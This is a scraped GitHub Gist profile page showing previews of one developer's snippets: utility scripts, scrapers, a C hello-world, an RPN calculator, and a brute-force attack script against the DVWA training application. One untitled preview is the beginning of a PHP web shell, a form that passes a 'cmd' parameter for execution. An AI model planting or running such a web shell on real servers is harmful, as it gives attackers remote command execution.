Skip to content

Instantly share code, notes, and snippets.

View KnightChaser's full-sized avatar
👟
¿Que estas esperando?

Garam Lee KnightChaser

👟
¿Que estas esperando?
View GitHub Profile
@KnightChaser
KnightChaser / HelloGitHubGist.c
Created September 1, 2021 04:07
My first GitHub Gist
#include <stdio.h>
int main(void){
printf("Hello GitHub Gist!\n");
return 0;
}
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@KnightChaser
KnightChaser / AutomaticPythonVENVgenerator.py
Created October 15, 2021 06:58
Create bunch of python virtual environment(venv) with just a click. Have fun!
import os
startNumber = 101
EndNumber = 500
for _seq in range(startNumber, EndNumber + 1):
# Just name
name = f"flaskvenv{_seq}"
@KnightChaser
KnightChaser / DVWAbruteforceBreaker.py
Last active April 23, 2024 02:49
Automated bruteforce attack script of DVWA(Damn Vulnerable Web Application), written with Python.
import requests
import sys
from bs4 import BeautifulSoup
from time import sleep
# fancy color!
class colorBrights:
BLACK = '\033[90m'
RED = '\033[91m'
GREEN = '\033[92m'
@KnightChaser
KnightChaser / Dice_Simulator_with_Multiprocessing.py
Created June 17, 2022 03:34
일일이 주사위를 던지는 건 귀찮지 않나요? 파이썬을 시켜서 주사위를 던져봅시다. 더 효과적으로 CPU에게 일을 하도록 시키기 위해, 멀티프로세싱을 사용해 보자구요!
import random
import time
import os
from multiprocessing import Process, Queue
def roll_the_dice(id, start, end, result):
counters = [0, 0, 0, 0, 0, 0]
for _seq in range(start, end):
value = random.randint(0, 5)
@KnightChaser
KnightChaser / google_index_parsing.py
Last active November 19, 2022 04:38
구글 검색 결과 개수, 시간, 제목과 그 링크, 처리하는데 걸린 시간을 담아서 반환하는 코드. 구글 인덱스 파싱하는 코드가 안 보여서 직접 만들어 봄.
import requests
from bs4 import BeautifulSoup
import time
import re
import random
class GoogleParsingConst:
index_name_class_name = "LC20lb MBeuO DKV0Md"
index_url_class_name = "iUh30 qLRx3b tjvcx"
@KnightChaser
KnightChaser / get_naver_finance_info_lite.py
Created November 26, 2022 13:05
(Unofficial method) Get some finance information for Naver finance website with avoid excessive request frequency and allowing 1-minute delay
import requests
import time
import random
import os
import ast
import pickle
class CustomUserAgentString:
user_agent_string_list = [
@KnightChaser
KnightChaser / ActivateWindowsBitlocker.bat
Created January 15, 2023 12:08
You don't need to restart your device to lock the unlocked Bitlocker-enabled drives again.
@echo off
:: BatchGotAdmin
:-------------------------------------
REM --> Check for permissions
IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)
@KnightChaser
KnightChaser / espanso_base_yml_for_me.yml
Created March 7, 2023 13:58
My personal base.yml file of espanso to supercharge my laptop usage experience. Optimized only for me.
# espanso match file
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the base matches (aka snippets)
# that will be available in every application when using espanso.
# Matches are substitution rules: when you type the "trigger" string
# it gets replaced by the "replace" string.
matches:
@KnightChaser
KnightChaser / ReversePolishNotationImplementation.cpp
Created May 30, 2023 11:43
A C++ implementation for calculation with reverse polish notation(postfix notation).
#include <iostream>
#include <vector>
#include <string>
#include <stack>
using namespace std;
// redefine operator << to print the vector like just strings
template <typename S>
ostream& operator<<(ostream& os,
const vector<S>& vector)